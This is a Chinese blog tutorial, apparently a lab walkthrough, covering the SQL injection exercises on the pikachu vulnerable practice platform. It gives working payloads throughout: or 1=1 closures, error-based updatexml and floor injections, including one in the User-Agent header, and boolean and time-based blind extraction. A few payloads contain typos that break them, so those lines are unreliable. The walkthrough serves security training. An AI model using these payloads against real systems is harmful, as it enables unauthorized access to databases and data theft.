pikachu练习平台(SQL注入 )

sql注入漏洞 危害是最大得

Sql注入

数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。

 

Sql注入攻击流程:

1.  注入点探测

自动方式:使用web漏洞扫描工具,自动进行注入点发现

手动方式:手工构造sql inject测试语句进行注入点发现

2.  信息获取

通过注入点取得期望得到的数据

      1.  环境信息:数据库类型,数据库版本,操作系统版本,用户信息等

      2.  数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)

      3.  获取权限       获取操作系统权限:通过数据库执行shell,上传木马

 

3.sql注入类型:   数字型  user_id=$id

           字符型 user_id='$id'

           搜索型  text like '%{$_GET['search']}'  "

 

select  字段1     from table  where  id=1  会显示表中第一行信息

select  字段1     from table  where  id=1 or 1=1  会显示表中所有信息

 

Get方式中使用url提交注入数据;

post方式中使用抓包工具修改post数据部分提交注入

注入方法可参考sqli-labs实验方法:https://www.cnblogs.com/199904-04/p/12296733.html

 

一、SQL数字型注入(post)

选择1,查询;

 

进行抓包,并发送到repeater;

 

修改id为1 or 1=1 ,可以看到id全部列出;

 

查看源码,这里post请求直接把id带到SQL·语句中,没有做任何处理,所以id这里存在sql注入漏洞;

 

 

 

 

 

二、SQL字符型注入(get)

输入kobe,查询;

 

因为是字符型的注入,我们可以使用做sqli-labs方法进行尝试,加单引号、双引号、括号、以及他们的组合,这里需要注意闭合后面注释,我们输入 kobe’ or 1=1#’ 

 

我们查看源码,发现这里的变量是字符型,需要构造闭合;

 

 

 

 

三、SQL搜索型注入

查看源码,可以发现需要构造闭合,且闭合需要有’%

 

 

在数据库中查询语句为 select username,id,email from member where username like '%$name%'

所以在这我们使用xxx% or 1=1#进行查询;闭合成功,遍历用户所有信息;

 

 

 

 

四、SQLxx型注入

数据库中查询语句为select id,email from member where username=('$name')

则闭合为xx) or 1=1# 可遍历用户所有信息;

 

 

 

五、Insert/updata/delete注入(使用报错注入)

 

 

 

基于insert/undata下的报错

Ztt’or updatexml(1,concat(0x7e,database()),0)or ‘

基于delete下的报错

1 or updatexml(1,concat(0x7e,database()),0)

基于floor()

Kobe’ and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema,tables group by x)a)#

 

 

 

基于delete下的报错

1 or updatexml(1,concat(0x7e,database()),0)

先删除一个留言,抓包,然后 发送到repeater;

 

看源码可知id是一个数字型;

 

在repeater中修改id并转码;

 

在右边的界面拉到最后就会有报错信息的显示

 

 

 

 

六、http头注入

有时候后台开发人员为了验证客户信息(比如cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等 会对客户端的http header信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑则可能会导致基于http header 的sql inject漏洞。

 

admin 123456 登录;

 

进行抓包,并发送到repeater,修改user-agent   

  firefox’or updatexml(1,concat(0x7e,database()),0)or ‘

 

 

 

 

 

 

七、盲注

在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法在根据报错信息来进行注入的判断,这种情况下的注入,称为“盲注”;

 

盲注分为:based boolean

          Based time

 

 

based  boolean

表现:

1.没有报错信息

2.结果都只显示两种情况(0或1)

3.在正确的输入下,输入and 1=1/and 1=2可以判断

 

输入  Kobe’ and ascii(substr(database(),1,1))>113#

 

 

输入 kobe' and ascii(substr(database(),1,1,))=112#  输出正确;

 将database()换成

Select  table_name from information_schema.tables where table_schema=database() limit 0, 1

 

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0, 1)

,1,1,))>112#   也是可以的

 

 

 

 

Based time

 

kobe’ and sleep(5)#   页面会停顿5秒

 

通过这个可以判断构造语句是否正确

 

kobe’ and if((substr(database(),1,1))=‘a’,sleep(5),null)#

猜测第一个字符是否是a (a-z)

 

 我们可以将database()换成select  table_name from information_schema.tables where table_schema=database() limit 0, 1 也是可以的。

原文地址:https://www.cnblogs.com/199904-04/p/12377544.html